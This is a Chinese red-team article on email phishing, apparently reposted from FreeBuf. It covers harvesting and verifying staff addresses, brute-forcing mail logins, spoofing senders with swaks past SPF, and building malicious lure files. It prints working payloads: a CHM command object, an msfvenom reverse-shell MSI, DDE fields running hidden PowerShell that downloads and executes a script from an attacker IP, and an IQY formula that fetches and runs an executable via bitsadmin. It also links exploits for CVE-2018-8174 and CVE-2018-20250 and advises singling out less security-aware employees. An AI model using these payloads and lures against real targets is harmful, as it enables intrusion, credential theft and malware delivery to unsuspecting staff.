前言 

随着互联网信息快速发展,办公已经离不开网络的支持。邮箱成为了人们常用的办公方式之一。

本文主要从信息收集为第一步前提情况下,逐渐延伸到邮件钓鱼方向上,分别有:信息刺探、信息验证、邮箱定位、内容伪造、文件伪造等多个方面展开介绍。

在渗透测试过程当中,使用邮箱打点的方式来进行战场"土工作业"方式一点点掘进到对方内部当中也是常见的一种方式。

这一步是渗透测试重要的一步,在系统无漏洞或无任何头绪的情况下尝试该动作的概率较大。攻击者的内心总会觉得这个信息收集+邮件钓鱼这个组合动作能打出所谓的"漏网之鱼"。

PS:本文仅用于技术研究与讨论,严禁用于非法用途,违者后果自负

信息收集

寻找目标开放的邮件服务端口和web端邮箱入口

(1)通过扫描c段找到入口

我们拿到目标网站的时候,首先要先从MX记录域名找到他的真实ip地址(某些目标可能是的是第三方邮件服务器,这种情况mx记录没啥用了);当我们拿到目标网站的时候,首先要先从MX记录域名找到他的真实ip地址(某些目标可能是第三方邮件服务器,这种情况mx记录没啥用了);然后针对这个ip地址的c段进行扫描(25、109、110、143、465、995、993端口),一般情况下都很容易找到目标的邮件服务器入口。

(2)通过扫描子域名的的方式找到邮件入口

这里扫描子域名的工具有很多,如Sublist3r、TeeMO、LangSrcCurise、挖掘机等不一一举例。

(3)通过搜索引擎爬取

Google hack 搜索;

百度、搜狗、360、bing。

site:target.com intitle:"Outlook Web App"

site:target.com intitle:"mail"

site:target.com intitle:"webmail"

Shodan、fofa、zoomeye搜索等。

批量收集目标邮箱的一些常规途径

https://hunter.io/

http://www.skymem.info/

https://www.email-format.com/i/search/

这款提莫工具也具有相关域名邮箱搜集能力。

https://github.com/bit4woo/teemo

还有从搜索引擎、空间搜索引擎、社交、招聘网站等搜邮箱的方式。

https://github.com/laramies/theHarvester

这款工具默认集成了很多 api,通过这些接口我们可以很方便快捷的去批量抓取目标邮箱。因为api都是默认的,有些没有填,所以结果比较少,因此在实战过程中配合其他工具搜索,然后结合汇总最终的查询结果。

python3 theHarvester.py -d xxx.com -l 1000 -b all -f test.html

验证邮箱

在收集邮箱之后,我们要对邮箱进行验证,因为有些邮箱目标企业人员已经放弃或不用(离职,职位调动等)。

(1)通过mailtester.com可以查询邮箱地址是否存在。

https://mailtester.com/testmail.php

(2)verifyemail这款工具可批量验证邮箱。

https://github.com/Tzeross/verifyemail

(3)mailtester.py

这款工具可以自动组合邮箱地址再根据组合的结果逐个验证。

脚本的好处在于,它会根据 First / Last Name 中的名字随意拼装组合,然后再对其进行逐个验证。

当我们在对邮箱用户进行枚举的时候,尽量多找一些字典,如中国人姓名拼音、字母缩写top100,1000,10000,此处我们需要更多的鱼叉,多一个邮箱就多一份成功率。

当然可以把搜集到疑似网络管理员、运维人员、安全部门的人员提取出来,这些人单独写邮箱或者不发,因为这些人安全意识相对较高,容易打草惊蛇,我们需要对一些非技术员工安全意识薄弱的人下手,挑软柿子捏。

这里可以配合这个网址https://www.aies.cn/pinyin.htm根据收集到的目标信息制定对应人名字典进行组合。

邮箱爆破

这种方式的弱口令爆破只适用于目标企业自己的邮件服务器如owa等 像百度腾讯阿里网易的邮箱不优先考虑。

用到的工具medusa、hydra、SNETCracker、APT34组织 owa爆破工具等。

另外邮箱用户名与密码往往还会使用公司简称+2019,2020等社工口令,多一个字典就多一份成功率。

钓鱼

邮箱伪造

一般情况下没有SPF可以 直接用swaks伪造。

这里简单讲一下spf和dkim 。

SPF: 可以大致理解它的作用是确认邮件的ip地址到底是不是在它域名的spf记录里面,如果在的话,就说明一封正确的邮件,不是的话就会被丢弃。

DKIM:它的作用主要是来校验邮件数据在传输过程中是否被修改过,也可以简单的理解为确保邮件在发送过程中的完整性。

在有SPF的情况下,就需要绕过SPF,可以使用swaks+smtp2go,需要借助到邮件托管平台来绕过SPF监测。

SMTP2GO的配置:

需要建立账户和验证域名。

swaks --to xxx@163.com --from  admin@gov.com --ehlo  xxx --body  “hello ,i'm 007"--server mail.smtp2go.com -p 2525 -au user -ap pass

在邮箱地址下面会出现由xxx平台代发,当然没有仔细看或者不懂技术的人员很容易上当。

另一种方法也可以保存eml格式文件。

删除from之前的字段,修改To字段邮箱。

swaks --to test.163.com--from admin@110.com --data 1.eml --h-from--server mail.smtp2go.com -p 2525 -au user -ap pass

钓鱼文件制作

1)传统宏文件

2)CHM钓鱼

新建一个文件夹将以下代码复制到index.html中,然后EasyCHM工具生成就可以了。

这里是弹出一个计算器,可以把计算器换成我们的木马。

<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>command exec <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1><PARAM name="Command" value="ShortCut"><PARAM name="Button" value="Bitmap::shortcut"><PARAM name="Item1" value=", calc.exe"><PARAM name="Item2" value="273,1,1"></OBJECT><SCRIPT>x.Click();</SCRIPT></body></html>

生成后起一个容易上钩的名字。

3)CVE-2018-2174

exp地址:

https://github.com/0x09AL/CVE-2018-8174-msf.git

4)Windows 快捷键

先利用MSF生成一段payload:

msfvenom -p windows/meterpreter/reverse_tcp lhost=vpsip lport=1234 -f msi > shell.txt

msiexec.exe,系统进程,是Windows Installer的一部分,利用此进程来加载我们shellcode可以达到一定的规避作用。

当然方法不唯一,还有很多种方式如用powershell 来远程下载执行自己的 木马等。

5)构造DDE钓鱼文档

创建一个文档,之后双击打开 dde.docx,直接Ctrl + f9快捷键便可以快速帮助创建一个域,我们则只需要在花括号中添加如下指令(弹出一个计算器),实战过程中可以远程加载我们的木马。

DDEAUTO c:\windows\system32\cmd.exe "/k calc.exe"

这里我用ps远程下载我的马。

DDEAUTO "C:\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden IEX (New-Object System.Net.WebClient).DownloadString('http://xx.xx.xx.xx/1.ps1'); # " "Microsoft Document Security Add-On"

点击后上线。

6) word 中插入外部对象(OLE)方式欺骗

点击即可上线。

7) IQY特性钓鱼

利用nishang下的Out-WebQuery.ps1, 脚本生成包含恶意 payload url 的 iqy 文件。

powershell –exec bypass –Command "& {Import-Module 'C:\Epic\nishang-master\Client\Out-WebQuery.ps1';Out-WebQuery -URL http://192.168.1.5/iqy.html}"

在iqy.html页面中写入:

=cmd|' /c bitsadmin /transfer c6c5 http://ip:port/a %APPDATA%\c6c5.exe&%APPDATA%\c6c5.exe&del %APPDATA%\c6c5.exe '!A0

bitsadmin传输是真的慢......

除了钓鱼,也可以用这一特性窃取目标用户的账户密码等敏感信息。

8)PPT 动作按钮特性构造 PPSX钓鱼

由于我这里HTA上线可能是系统版本原因总出问题,所以我用hta 去加载 ps,然后再用 ps 去远程加载执行指定的cs马。

这里一定要保存成ppsx格式的。

点击启用即可上线。

9)RAR解压钓鱼

WinRAR漏洞exp:

https://github.com/WyAtu/CVE-2018-20250

生成,发送给目标机解压。由于临时演示没有做免杀处理,重启机器后马被火绒拦截了。

另外还有利用目标登录口的钓鱼页面来窃取各种, Vpn , Mail , OA ,账号密码等,实际红队钓鱼方式与细节非常多不一一举例了。

本文作者:酒仙桥六号部队, 转自FreeBuf